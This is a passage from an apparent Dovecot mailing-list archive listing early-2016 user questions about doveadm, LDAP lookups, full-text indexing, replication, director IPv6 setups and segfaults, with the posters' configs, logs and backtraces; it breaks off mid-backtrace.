- dovecot - dovecot.org

Can you "doveadm search" with mailbox location instead of a user (-u option)?
by Christian Rohmann 02 Feb '16

02 Feb '16

Hey dovecot-users! doveadm import offers to use i.e. a maildir as source and then import into a users mailbox referenced via "-u" option. If one wants to import only certain emails from the source a search-query can be given as well. I was wondering if doveadm search also does offer to search a mailbox referenced by filesystem path i.e. doveadm search maildir:/srv/mailboxes/example.com/mailbox123 NEW Maybe a fixed mailbox location via "-o mailbox_location=maildir:/srv/mailboxes/example.com/mailbox123" does work, but then it's rather a side effect as one needs to define a user via "-u" parameter anyways. Regards Christian

2 2

ACL and LDAP
by Chris 01 Feb '16

01 Feb '16

Dear All, is it possible to store ACLs in LDAP? Does anyone happen to have a script that syncs ACLs read from LDAP with Dovecot? - Chris

2 2

fts_autoindex - index-worker problem
by Masaki Nemoto 01 Feb '16

01 Feb '16

dovecot-2.2.21 問い合わせ fts_autoindex - index-worker problem Hello List, I installed dovecot-2.2.21 on CentOS 6.7. I use ldap for userdb to separate an e-mail address and the user. Index to apache solr failed in fts_authindex when I received an email after setting. The error message is "indexer-worker: Error: User 0029(a)09.jp lookup failed: Unknown user" Is there any solution? This is current conf -------------------------------------------- # cat /etc/dovecot/conf.d/auth-ldap.conf.ext userdb { driver = ldap default_fields = uid=dovecot gid=dovecot home=/var/dovecot/%Ld/%Ln args = /etc/dovecot/dovecot-ldap.conf.ext } -------------------------------------------- # cat /etc/dovecot/dovecot-ldap.conf.ext hosts = ldap01 auth_bind = no ldap_version = 3 base = "" user_attrs = mailRoutingAddress=user, storeQuotaBytes=quota_rule=*:bytes=%$ user_filter = (&(objectClass=inetLocalMailRecipient)(mailLocalAddress=%u)) -------------------------------------------- # cat /etc/dovecot/conf.d/90-plugin.conf plugin { fts = solr fts_solr = url=http://10.129.78.21:8983/solr/%Ld/ fts_autoindex = yes } -------------------------------------------- This is test user infomation -------------------------------------------- # ldapsearch -h ldap01 -x -b "" mailLocalAddress=gk12k_0029(a)08wt09.jp mailRoutingAddress mailLocalAddress -LLL dn: uid=gk12k_0029,dc=08wt09,dc=jp mailRoutingAddress: 0029(a)09.jp mailLocalAddress: gk12k_0029(a)08wt09.jp -------------------------------------------- dovecot log of the problem ------------------ Jan 31 01:19:51 store01 dovecot: lmtp(24252): Connect from 10.129.75.77 Jan 31 01:19:51 store01 dovecot: lmtp(0029(a)09.jp): copy from <lmtp DATA>: box=INBOX, uid=40, msgid=<foobar>, size=377 Jan 31 01:19:51 store01 dovecot: lmtp(0029(a)09.jp): pdn7JafirFa8XgAAbv3f4A: from=hogehoge(a)example.jp, to=gk12k_0029(a)08wt09.jp, vsize=388, msgid=<foobar>, saved mail to INBOX Jan 31 01:19:51 store01 dovecot: lmtp(24252): Disconnect from 10.129.75.77: Successful quit Jan 31 01:19:51 store01 dovecot: indexer-worker: Error: User 0029(a)09.jp lookup failed: Unknown user openldap log ------------------ Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=1 SRCH base="" scope=2 deref=0 filter="(&(objectClass=inetLocalMailRecipient)(mailLocalAddress=gk12k_0029(a)08wt09.jp))" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=1 SRCH attr=mailRoutingAddress storeQuotaBytes Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 fd=19 ACCEPT from IP=10.129.78.22:58335 (IP=0.0.0.0:389) Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=0 BIND dn="" method=128 Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=0 RESULT tag=97 err=0 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=1 SRCH base="" scope=2 deref=0 filter="(mailRoutingAddress=0029(a)09.jp)" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=1 SRCH attr=modifyTimestamp Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=2 SRCH base="uid=gk12k_0029,dc=08wt09,dc=jp" scope=0 deref=0 filter="(objectClass=*)" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=2 SRCH attr=storeSieveScript Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=2 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=3 UNBIND Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 fd=19 closed Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=2 SRCH base="" scope=2 deref=0 filter="(&(objectClass=inetLocalMailRecipient)(mailLocalAddress=0029(a)09.jp))" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=2 SRCH attr=mailRoutingAddress storeQuotaBytes Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=2 SEARCH RESULT tag=101 err=0 nentries=0 text= ------------------------------------------- Log when I deleted "fts_autoindex = yes" ------------------------------------------- Jan 31 01:18:12 store01 dovecot: lmtp(24232): Connect from 10.129.75.77 Jan 31 01:18:13 store01 dovecot: lmtp(0029(a)09.jp): copy from <lmtp DATA>: box=INBOX, uid=39, msgid=<foobar>, size=377 Jan 31 01:18:13 store01 dovecot: lmtp(0029(a)09.jp): 10FxNETirFaoXgAAbv3f4A: from=hogehoge(a)example.jp, to=gk12k_0029(a)08wt09.jp, vsize=388, msgid=<foobar>, saved mail to INBOX Jan 31 01:18:13 store01 dovecot: lmtp(24232): Disconnect from 10.129.75.77: Successful quit ------------------------------------------- Jan 31 01:18:12 ldap01 slapd[21617]: conn=1289 op=1 SRCH base="" scope=2 deref=0 filter="(&(objectClass=inetLocalMailRecipient)(mailLocalAddress=gk12k_0029(a)08wt09.jp))" Jan 31 01:18:12 ldap01 slapd[21617]: conn=1289 op=1 SRCH attr=mailRoutingAddress storeQuotaBytes Jan 31 01:18:12 ldap01 slapd[21617]: conn=1289 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 fd=19 ACCEPT from IP=10.129.78.22:58332 (IP=0.0.0.0:389) Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=0 BIND dn="" method=128 Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=0 RESULT tag=97 err=0 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=1 SRCH base="" scope=2 deref=0 filter="(mailRoutingAddress=0029(a)09.jp)" Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=1 SRCH attr=modifyTimestamp Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=2 SRCH base="uid=gk12k_0029,dc=08wt09,dc=jp" scope=0 deref=0 filter="(objectClass=*)" Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=2 SRCH attr=storeSieveScript Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=2 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=3 UNBIND Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 fd=19 closed ------------------------------------------- -- Masaki

2 2

basic configuratio error
by soko.tica 01 Feb '16

01 Feb '16

Hello list, After many hours I still fail to configure properly dovecot as the LDA with opensmtpd, for system users only. I don't want pop at all, jus lmtp and imap, but still haven't stripped it. Here is the info, thanks in advance for your response: ===== # doveconf -n # 2.2.14: /etc/dovecot/dovecot.conf # OS: OpenBSD 5.6 i386 auth_verbose = yes auth_verbose_passwords = yes disable_plaintext_auth = no first_valid_uid = 1000 hostname = imap.home.lan imap_client_workarounds = delay-newmail tb-extra-mailbox-sep tb-lsub-flags lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes lda_original_recipient_header = X-Original-To mail_debug = yes mail_location = maildir:~/Maildir managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave duplicate mbox_write_locks = fcntl mmap_disable = yes namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = bsdauth } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } pop3_client_workarounds = outlook-no-nuls oe-ns-eoh postmaster_address = postmaster(a)mileva.home.lan protocols = imap pop3 lmtp sieve service auth-worker { user = root } service auth { unix_listener auth-userdb { group = _dovenull mode = 0666 user = _dovenull } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { process_limit = 1024 } service lmtp { unix_listener lmtp { mode = 0666 } } service managesieve-login { inet_listener sieve { port = 4190 } inet_listener sieve_deprecated { port = 2000 } } ssl_cert = </etc/ssl/dovecotcert.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { driver = passwd } verbose_ssl = yes protocol lmtp { mail_plugins = } protocol lda { mail_plugins = } # /usr/local/sbin/dovecot -F Oct 28 13:00:01 mileva newsyslog[1110]: logfile turned over Oct 28 14:30:46 mileva dovecot: master: Dovecot v2.2.14 starting up for imap, pop3, lmtp, sieve Oct 28 14:30:46 mileva dovecot: master: Error: service(aggregator): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(pop3): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: open(/var/dovecot/login-master-notifya57a2b8821460734) failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(pop3-login): safe_mkstemp(/var/dovecot/login-master-notify) failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(log): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(lmtp): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(ipc): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(indexer-worker): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(indexer): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(imap): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(imap-urlauth-worker): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(imap-urlauth): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: open(/var/dovecot/login-master-notify5dd2a3a0591effcc) failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(imap-urlauth-login): safe_mkstemp(/var/dovecot/login-master-notify) failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: open(/var/dovecot/login-master-notify152a1bb891f6f764) failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(imap-login): safe_mkstemp(/var/dovecot/login-master-notify) failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(doveadm): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(dns_client): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(director): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(dict): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(config): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(auth): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(auth-worker): pipe() failed: Too many open files Oct 28 14:30:46 mileva dovecot: master: Error: service(anvil): command startup failed, throttling for 2 secs Oct 28 14:30:56 mileva dovecot: master: Error: service(ssl-params): command startup failed, throttling for 2 secs [snipped 18 pages of /var/log/maillog] Oct 28 20:47:44 mileva dovecot: master: Dovecot v2.2.14 starting up for imap, pop3, lmtp, sieve Oct 28 20:47:44 mileva dovecot: master: Error: service(aggregator): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(pop3): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: open(/var/dovecot/login-master-notifydd522320d99e7f4c) failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(pop3-login): safe_mkstemp(/var/dovecot/login-master-notify) failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(log): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(lmtp): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(ipc): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(indexer-worker): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(indexer): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(imap): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(imap-urlauth-worker): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(imap-urlauth): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: open(/var/dovecot/login-master-notify95aa9b38117677e4) failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(imap-urlauth-login): safe_mkstemp(/var/dovecot/login-master-notify) failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: open(/var/dovecot/login-master-notify4d021350494e6f7c) failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(imap-login): safe_mkstemp(/var/dovecot/login-master-notify) failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(doveadm): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(dns_client): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(director): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(dict): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(config): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(auth): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(auth-worker): pipe() failed: Too many open files Oct 28 20:47:44 mileva dovecot: master: Error: service(anvil): command startup failed, throttling for 2 secs Oct 28 20:47:46 mileva dovecot: master: Warning: Killed with signal 2 (by pid=0 uid=0 code=kill) Oct 28 20:47:46 mileva dovecot: master: Error: open(/var/dovecot/.temp.mileva.home.lan.17422.055a8b6881266714) failed: Too many open files Oct 28 20:47:46 mileva dovecot: master: Error: file_dotlock_open(/var/dovecot/instances) failed: Too many open files Oct 28 20:47:46 mileva dovecot: master: Error: service(ssl-params): command startup failed, throttling for 2 secs # /usr/sbin/smtpd -n configuration OK

2 3

Dovecot 2.2.21 - segfault
by Robert Blayzor 31 Jan '16

31 Jan '16

dovecot --version 2.2.21 (5345f22) FreeBSD 10.2-RELEASE-p11 FreeBSD 10.2-RELEASE-p11 #0 r294908M: amd64 Core was generated by `dovecot'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...Reading symbols from /usr/lib/debug//lib/libc.so.7.debug...done. done. Loaded symbols for /lib/libc.so.7 Reading symbols from /libexec/ld-elf.so.1...Reading symbols from /usr/lib/debug//libexec/ld-elf.so.1.debug...done. done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 635 ioloop.c: No such file or directory. in ioloop.c (gdb) bt full #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 No locals. #1 0x0000000800910961 in io_loop_timeouts_start_new (ioloop=0x801421080) at ioloop.c:436 to_idx = (struct timeout * const *) 0x801419880 #2 0x0000000800910915 in io_loop_handler_run (ioloop=0x801421080) at ioloop.c:606 No locals. #3 0x000000080091073f in io_loop_run (ioloop=0x801421080) at ioloop.c:583 No locals. #4 0x000000080086aaab in master_service_run (service=0x80141b140, callback=0) at master-service.c:640 No locals. #5 0x0000000000406509 in main (argc=3, argv=0x7fffffffb4c0) at main.c:888 set = (struct master_settings *) 0x801429110 error = 0x800caa2c3 "H\203Ä ]Ã\017\037\200" doveconf_arg = 0x0 orig_info_callback = (failure_callback_t *) 0x8008f0220 <i_syslog_error_handler> orig_debug_callback = (failure_callback_t *) 0x8008f0220 <i_syslog_error_handler> foreground = false ask_key_pass = false i = 3 c = -1 doubleopts = <value optimized out> Current language: auto; currently minimal (gdb)

2 2

Broken MIME parts for mail
by Peer Heinlein 31 Jan '16

31 Jan '16

We're acutally using 2:2.2.21-1~auto+83 and sometimes we have in our logfiles: Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: unlink(/vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: Corrupted index cache file /vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache: Broken MIME parts for mail UID 70 The mail in this folder with uid 70 looks perfect and I'm able to fetch that mail without errors. I hope this is a self-healing error in the index file without real incident to the user. But I wonder how this Error can be happen. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

2 1

Re-starting replication after a long disconnect
by John Krug 30 Jan '16

30 Jan '16

Using Dovecot 2.2.15.8 We use dsync as shown at http://wiki.dovecot.org/Replication <http://wiki.dovecot.org/Replication> to have a second copy of our mail store. Users connect to one server and the other is considered a secondary, and is there “just in case”. If one-way backup/sync would make more sense, I would consider that, but at the time we set it up (October 2013), I recall there was some issue with one-way not being as reliable. We had some problems with the secondary mail server and had to take it off line for while. Now that the mail on that server is stale, what is the best way of starting over? When I simply turned it back on after a lengthy break (weeks), some users were reporting deleted messages showing up in their inboxes. I know dsync is master/master and uses index files, but I am not certain of the details and whether this behavior is completely unexpected or not. The laundry list: What are the f and R flags for sync? http://wiki2.dovecot.org/Tools/Doveadm/Sync Use doveadm backup to get the initial data over to the seconday? Can the server be in use while I do backup? Do I need to wipe the secondary and start over? Thanks ! -JK ----------------------------------------------------------------------- John "JK" Krug System Administrator The University of Chicago | Laboratory Schools 1362 East 59th Street | Chicago, IL 60637 Phone: (773) 834-4476 jk(a)ucls.uchicago.edu <mailto:jkallo@ucls.uchicago.edu> | http://helpdesk.ucls.uchicago.edu _______________________________________________

2 1

Setting Recent Flag on New Messages?
by Haravikk 29 Jan '16

29 Jan '16

So I’m looking at setting up some house-keeping for my dovecot mailboxes, specifically deleting messages in trash, spam etc., by deleting Seen messages older than X days. In order to protect against the edge case of a user reading a message right before the deletion task however I’d like to do something like the following: doveadm expunge -A OLD SEEN BEFORE 7d MAILBOX Trash doveadm flags -A remove '\Recent' SEEN BEFORE 7d MAILBOX Trash (except I’m actually doing this per-user with a script and per-user settings for flexibility, but you get the idea) Basically the expunge step only deletes messages without the Recent flag (and which haven’t been marked as unseen again). It then removes this flag from messages which have been seen, so that they will be deleted next time the expunge command runs. In other words, if this command runs once a day, there will be a minimum delay of 24 hours between a message being seen, and then being deleted. However I can’t for the life of me figure out how to set the Recent flag except via doveadm flags. While I could periodically run doveadm -A flags add ‘\Recent’ SEEN or such this doesn’t seem like a great way to do it (adding the flag after the messages are stored), really I’d rather do it as they arrive. I’ve tried sieve, but it can’t set this flag. Have I managed to completely miss an option for setting this when new messages arrive?

4 5

Dovecot (director, lmtp) IPv4/IPv6?
by Andrey Fesenko 29 Jan '16

29 Jan '16

Hello, I'm build system with two director/proxy and dual stack network (or IPv6-only local services) http://wiki2.dovecot.org/Director say "This also means that a single director ring must use either IPv4 or IPv6 addresses, but not both at the same time." OK All servers have 2 interface (public and local network), and all dual stack IPv4/IPv6, imap/pop (mail) and lmtp (mx) proxy run in dedicated server. If network IPv4-only this work fine IPv6-only or IPv4/IPv6 configs not work (on mail director) dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) My configs contain Directors listen = IPv4-public1, IPv4-local1, IPv6-public1, IPv6-local1 director_servers = IPv6-local1 IPv6-local2 director_mail_servers = IPv4-public3 IPv4-local3 IPv6-public3 IPv6-local3 service lmtp { client_limit = 5 executable = lmtp -L idle_kill = 0 process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 inet_listener lmtp { address = IPv6-local1 IPv4-local1 port = 24 } } # 20-lmtp lmtp_proxy = yes service director { unix_listener login/director { mode = 0666 } fifo_listener login/proxy-notify { mode = 0600 } unix_listener director-userdb { mode = 0600 } inet_listener { address = IPv6-local1 port = 9090 } } Without line "address =" in service, all services start all listen. If director contain service imap-login { executable = imap-login director idle_kill = 10 secs inet_listener imap { port = 143 } process_limit = 400 process_min_avail = 10 service_count = 0 vsz_limit = 512 M } log after start server # systemctl status dovecot ● dovecot.service - Dovecot IMAP/POP3 email server Loaded: loaded (/usr/lib/systemd/system/dovecot.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2016-01-28 13:12:49 MSK; 5s ago Process: 11111 ExecStartPre=/usr/libexec/dovecot/prestartscript (code=exited, status=0/SUCCESS) Main PID: 11114 (dovecot) CGroup: /system.slice/dovecot.service ├─11114 /usr/sbin/dovecot -F ├─11116 dovecot-director/imap-login director ├─11117 dovecot-director/anvil [10 connections] ├─11118 dovecot-director/log ├─11120 dovecot-director/imap-login director ├─11121 dovecot-director/imap-login director ├─11122 dovecot-director/imap-login director ├─11123 dovecot-director/imap-login director ├─11124 dovecot-director/imap-login director ├─11125 dovecot-director/imap-login director ├─11126 dovecot-director/imap-login director ├─11127 dovecot-director/imap-login director ├─11128 dovecot-director/imap-login director └─11129 dovecot-director/config Jan 28 13:12:49 mail systemd[1]: Starting Dovecot IMAP/POP3 email server... Jan 28 13:12:49 mail systemd[1]: Started Dovecot IMAP/POP3 email server. Jan 28 13:12:49 mail dovecot[11114]: master: Dovecot v2.2.10 starting up for imap, pop3 (core dumps disabled) Jan 28 13:12:49 mail dovecot[11114]: master: Error: service(director): command startup failed, throttling for 2 secs Jan 28 13:12:49 mail dovecot[11118]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:12:54 mail dovecot[11118]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:12:54 mail dovecot[11114]: master: Error: service(director): command startup failed, throttling for 4 secs # systemctl status dovecot ● dovecot.service - Dovecot IMAP/POP3 email server Loaded: loaded (/usr/lib/systemd/system/dovecot.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2016-01-28 13:05:52 MSK; 10min ago Process: 10232 ExecStartPre=/usr/libexec/dovecot/prestartscript (code=exited, status=0/SUCCESS) Main PID: 10235 (dovecot) CGroup: /system.slice/dovecot.service ├─10235 /usr/sbin/dovecot -F ├─10237 dovecot-proxy/anvil [0 connections] └─10238 dovecot-proxy/log Jan 28 13:05:52 mx systemd[1]: Starting Dovecot IMAP/POP3 email server... Jan 28 13:05:52 mx systemd[1]: Started Dovecot IMAP/POP3 email server. Jan 28 13:05:52 mx dovecot[10235]: master: Dovecot v2.2.10 starting up for lmtp (core dumps disabled) Jan 28 13:06:18 mx dovecot[10238]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:06:18 mx dovecot[10235]: master: Error: service(director): command startup failed, throttling for 2 secs Jan 28 13:06:18 mx dovecot[10250]: lmtp(10250): Error: passdb lookup(mailadm@mx): Disconnected unexpectedly Jan 28 13:06:20 mx dovecot[10238]: director: Fatal: Invalid director port in IPv6-local1

2 3

Correct Way to Run expunge for All?
by Haravikk 29 Jan '16

29 Jan '16

So as part of my daily mailbox maintenance I have the following command: doveadm expunge -A DELETED i.e- I’m only expunging messages that have been specifically marked as deleted. I also only do this *after* running doveadm purge, as this means that there is at least a 24 hour window between a message being marked as deleted, and it being gone forever. However I get the following error message: Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches While I can see the logic in this, it isn’t an accidental use of this command, so who do I force it to proceed? Going forward I’d like to recommend that expunge -A DELETED should be allowed, as it doesn’t seem like an especially dangerous form of the command, particularly with mdboxes where the messages won’t be removed until the purge step. Either that or there should be a flag to force the command when you know it isn’t an accident; anyone adding this to all their queries deserves the damage they inflict =)

2 1

Maildir to mdbox conersion size issue
by Petr Bousek 29 Jan '16

29 Jan '16

Hello, I have issue with dovecot 2.2.13 I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. Is there any reason why mdbox consume so much data? Or I do something wrong? Does somebody have same experience? Thanks Petr

2 2

Dovecot LDAP host - hostip resolution and alternative
by Andrey Fesenko 28 Jan '16

28 Jan '16

dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) Users stored in LDAP, backend name set his hostname (need for TLS on backend) auth: Debug: passdb out: PASS 1 user=mail proxy=yes host=backend starttls=yes hostip=IPv6-public how algorithm choice IP for hostip, and whether it is possible to implement it repeated request? Now I'm understand the following algorithm, DNS IPv6, /etc/hosts IPv4 single not alternative resolution. If my backend have only local address this FAIL

1 0

segfaults with Dovecot 2.2.21
by Peer Heinlein 28 Jan '16

28 Jan '16

We're running Dovecot 2.2.21 from Stephan Bosch's build service on Dovecot 7.x. Everything's up2date. # 2.2.devel (7ab22fc): /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (71e908a) # OS: Linux 3.16.0-0.bpo.4-amd64 x86_64 Debian 7.9 root@mailimap01:/etc/dovecot/conf.d # apt-show-versions | grep dovecot debian-dovecot-auto-keyring/oldstable-auto uptodate 2010.01.30 dovecot-core/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-imapd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-lmtpd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-managesieved/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-mysql/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-pop3d/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-sieve/oldstable-auto uptodate 2:2.2.21-1~auto+66 But we have sefaults in our logfile. How can we debug and solve that? (Yes, I know Stephan Bosch's packages are autobuild at the edge, but we need this versions since Dovecot 7.0 has only Dovecot 2.2.7 available.) Peer Jan 21 22:39:20 mailimap01 dovecot: imap(p24062p6): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fbe4e92b8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fbe4e92b92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fbe4e8d4aae] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](client_continue_pending_input+0x132) [0x7fbe4f1125e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fbe4e93eb0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fbe4e93fee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fbe4e93ebb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fbe4e93ed58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fbe4e8da4b3] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](main+0x2d8) [0x7fbe4f105eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fbe4e53bead] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](+0xf03d) [0x7fbe4f10603d] Jan 21 22:46:41 mailimap01 dovecot: imap(p115951p1): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcd177d48cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcd177d492e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcd1777daae] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](client_continue_pending_input+0x132) [0x7fcd17fbb5e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcd177e7b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcd177e8ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcd177e7bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcd177e7d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcd177834b3] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](main+0x2d8) [0x7fcd17faeeb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcd173e4ead] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](+0xf03d) [0x7fcd17faf03d] Jan 21 22:51:48 mailimap01 dovecot: imap(p54862p14): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fd798e628cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fd798e6292e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fd798e0baae] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](client_continue_pending_input+0x132) [0x7fd7996495e2] -> 